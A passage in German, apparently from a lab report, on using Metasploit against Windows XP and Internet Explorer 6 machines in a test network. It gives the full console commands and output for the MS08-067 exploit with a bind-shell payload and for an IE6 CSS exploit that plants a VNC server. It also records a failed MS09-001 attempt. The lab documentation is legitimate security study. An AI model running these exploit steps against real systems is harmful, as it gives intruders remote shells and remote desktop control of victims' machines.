\subsection{Metasploit}
Metasploit ist ein Framework zur automatisierten Exploit-Ausführung. Metasploit
hat eine umfassende Datenbank, in der Exploits gesammelt werden.

Diese Datenbank wird zu Beginn aktualisiert. Dies muss mit root-Rechten
geschehen.
\begin{verbatim}
sudo msfupdate
\end{verbatim}

Zunächst wird anhand der vorgehenden Analyse das Ziel und die anzugreifende
Schwachstelle gewählt.
Als erstes Ziel soll der Windows XP Client2 herhalten. Die wohl herausstechenste
Schwachstelle bei diesem ist die vom Conficker Wurm genutzte MS08-67, da für diese Lücke keine
Interaktion vom Client selbst notwendig ist. Die Sicherheitslücke MS08-67 ist
eine Schwachstelle im Samba-RPC-Dienst und damit von außen ausnutzbar.

Über die mdfconsole lässt sich Metasploit sehr komfortabel bedienen.
\begin{verbatim}
$ msfconsole 

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##


       =[ metasploit v3.6.0-dev [core:3.6 api:1.0]
+ -- --=[ 645 exploits - 329 auxiliary
+ -- --=[ 216 payloads - 27 encoders - 8 nops
       =[ svn r11836 updated today (2011.02.26)

\end{verbatim}

Über die Suche kann die Lücke gesucht werden.
\begin{verbatim}
search MS08-067
\end{verbatim}

Mit dem Befehl use wird ein Exploit verwendet. Viele Exploits haben verschiedene
Optionen, mit denen die Ausführung konfiguriert werden kann. Diese Optionen
können über show options angezeigt werden.
\begin{verbatim}
use windows/smb/ms08_067_netapi

show options
\end{verbatim}

Dieser Exploit hat die Option RHOST, welches den Ziel-Rechner darstellt. Für den
RHOST ist dies in diesem Fall der Windows XP Client2 mit der IP-Adresse
172.16.20.5.
\begin{verbatim}
set RHOST 192.168.10.76
\end{verbatim}

Wenn der Exploit funktioniert, soll eine bestimmte Payload ausgeführt werden.
Diese soll auch definiert werden.
\begin{verbatim}
set payload windows/shell_bind_tcp

show options
\end{verbatim}

Die Payload, in diesem Fall eine Remote-Shell, kann auch konfiguriert werden. Es
kann eine IP-Adresse und ein Port angegeben werden. Wird nichts angegeben, so
werden Standard-Einstellungen verwendet.

Der Exploit ist nun fertig konfiguriert und kann ausgeführt werden.
\begin{verbatim}
exploit
\end{verbatim}

Was nun passieren sollte ist die Ausnutzung der Conficker-Schwachstelle, wodurch
auf dem Ziel-Rechner eine Remote-Shell geöffnet wird. Metasploit wird sich
automatisch darauf verbinden, wodurch am Angreiferrechner eine bedienbare
Remote-Shell erscheint.

\begin{verbatim}
C:\Windows\System32>
\end{verbatim}

Ein zweiter Versuch war die Schwachstelle MS09-001 auszunutzen. Über die Suche
wurde ein entsprechender Exploit gefunden.
\begin{verbatim}
msf > search ms09-001
[*] Searching loaded modules for pattern 'ms09-001'...

Auxiliary
=========

   Name                            Disclosure Date  Rank    Description
   ----                            ---------------  ----    -----------
   dos/windows/smb/ms09_001_write                   normal  Microsoft SRV.SYS WriteAndX Invalid DataOffset
\end{verbatim}

Als Payload wurde ebenfalls die \verb windows/shell/bind_tcp  gewählt.

\begin{verbatim}
> set payload windows/shell/bind_tcp
\end{verbatim}

Die Payload wurde wie folgt konfiguriert.
\begin{verbatim}
msf auxiliary(ms09_001_write) > show options

Module options (auxiliary/dos/windows/smb/ms09_001_write):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  445              yes       Set the SMB service port

msf auxiliary(ms09_001_write) > set RHOST 172.16.20.5
RHOST => 172.16.20.5
\end{verbatim}

Dieser Exploit hat nicht funktioniert.

Der nächste Versuch richtet sich gegen den Webserver. Bei diesem soll eine
aktuelle Schwachstelle des Internet-Explorer 6 ausgenutzt werden. Daher wird
nach dem Suchmuster MS für Microsoft und 11 für Jahr 2011 gesucht
\begin{verbatim}
search ms11
\end{verbatim}

Es existiert ein aktueller Exploit mit guter Chance auf Erfolgt.
\begin{verbatim}
windows/browser/ms11_003_ie_css_import             2010-11-29       good   Internet Explorer CSS Recursive Import Use After Free
\end{verbatim}

Als Payload wird diesmal ein VNC-Server gewählt. Bei diesem soll es nach
geglückten Angriff möglich sein, den Computer über VNC-Fernzusteuern. Es wird
daher die \verb ms11_003_ie_css_import  genutzt und wie folgt die Payload
konfiguriert.
\begin{verbatim}
msf exploit(ie_unsafe_scripting) > set payload windows/vncinject/bind_tcp
payload => windows/vncinject/bind_tcp
msf exploit(ie_unsafe_scripting) > exploit
[*] Exploit running as background job.

[*] Started bind handler
[*] Using URL: http://0.0.0.0:8080/ZRXRKKpgH
[*]  Local IP: http://172.16.30.5:8080/ZRXRKKpgH
[*] Server started.
msf exploit(ie_unsafe_scripting) > [*] Started bind handler
\end{verbatim}

Nach Ausführung des Exploits wartet ein dafür erstellter Http-Server auf eine
eingehende Verbindung. Das Szenario ist in diesem Fall, dass eine Url, in diesem
Fall \verb http://172.16.30.5:8080/ZRXRKKpgH  vom Client aufgerufen wird. Diese
kann er über einen andern Kanal (Chat, E-Mail, \ldots) bekommen.

Sobald sich der Client Verbindet, in diesem Fall wird die Url manuell vom Server
über Internet Explorer 6 aufgerufen, werden Daten übertragen, die die Internet
Explorer-Lücke ausnutzen. Ein VNC-Server (Payload) wird gestartet und wird über
das Metasploit-Framework für den Attacker bereitgestellt.
\begin{verbatim}
[*] Request received from 172.16.10.5:1144...
[*] Encoding payload into vbs/javascript/html...
[*] Sending exploit html/javascript to 172.16.10.5:1144...
[*] Exe will be RrXjNXg.exe and must be manually removed from the %TEMP% directory on the target.
[*] Sending stage (445440 bytes) to 172.16.10.5
[*] VNC Server session 4 opened (172.16.30.5:50707 -> 172.16.10.5:4444) at Sat Feb 26 15:45:06 +0100 2011
[*] Starting local TCP relay on 127.0.0.1:5900...
\end{verbatim}

Greift man mit einem VNC-Viewer auf localhost zu, landet man auf der
Benutzeroberfäche des Servers.
\begin{verbatim}
vncviewer 127.0.0.1
\end{verbatim}
